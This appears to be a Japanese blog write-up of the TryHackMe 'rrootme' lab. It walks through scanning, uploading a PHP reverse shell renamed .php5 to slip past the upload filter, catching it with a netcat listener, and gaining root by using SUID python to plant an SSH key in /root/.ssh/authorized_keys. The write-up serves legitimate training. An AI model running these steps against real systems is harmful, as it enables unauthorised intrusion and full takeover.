🌐
TryHackMe: [rrootme] writeup
最近TryHackMeを始めました。
備忘録ついでにWriteupを書いていこうと思います
ROOM[rrootme]
room info
url: https://tryhackme.com/room/rrootme
os: linux
0. 準備
IPアドレス毎回手打ちだと気が狂うのでenvに入れておくようにしています
export RIP=攻撃先のIPをenvに出しとく
export LIP=VPN内での自分のIPをenvに出しとく
1. nmap
nmap -sC -sV -oA rrootme -Pn $RIP
結果
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
2. dirb
phpのサービスっぽかったので -x phpをつけてる
gobuster dir -u http://$IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php
/index.php (Status: 200) [Size: 616]
/uploads (Status: 301) [Size: 312]
/css (Status: 301) [Size: 308]
/js (Status: 301) [Size: 307]
/panel (Status: 301) [Size: 310]
panelという香ばしいpathを発見。当該pathはファイルをアップロードする機能があるっぽい
3. ユーザーシェル
// CHANGE THISと書いてある行を適当に書き換えてアップロード
-> 拡張子がphpの為弾かれる
-> 拡張子をphp5にしてアップロード
nc -lvnp 4445
とかしてreverse shellが来るのを待つ
これでアップロードしたファイルにアクセスすると 低権限のシェル獲得
4. Privileges Escalation
find / -user root -perm 4000
で pythonがsudoでできそう
低権限シェル上で
/usr/bin/python -c "import os; [os.mkdir('/root/.ssh')]"
/usr/bin/python -c 'open("/root/.ssh/authorized_keys","w+").write("自分の公開鍵")'
最後に攻撃マシン側で
ssh $RIP -l root
cat /root/root.txt
で完了
Discussion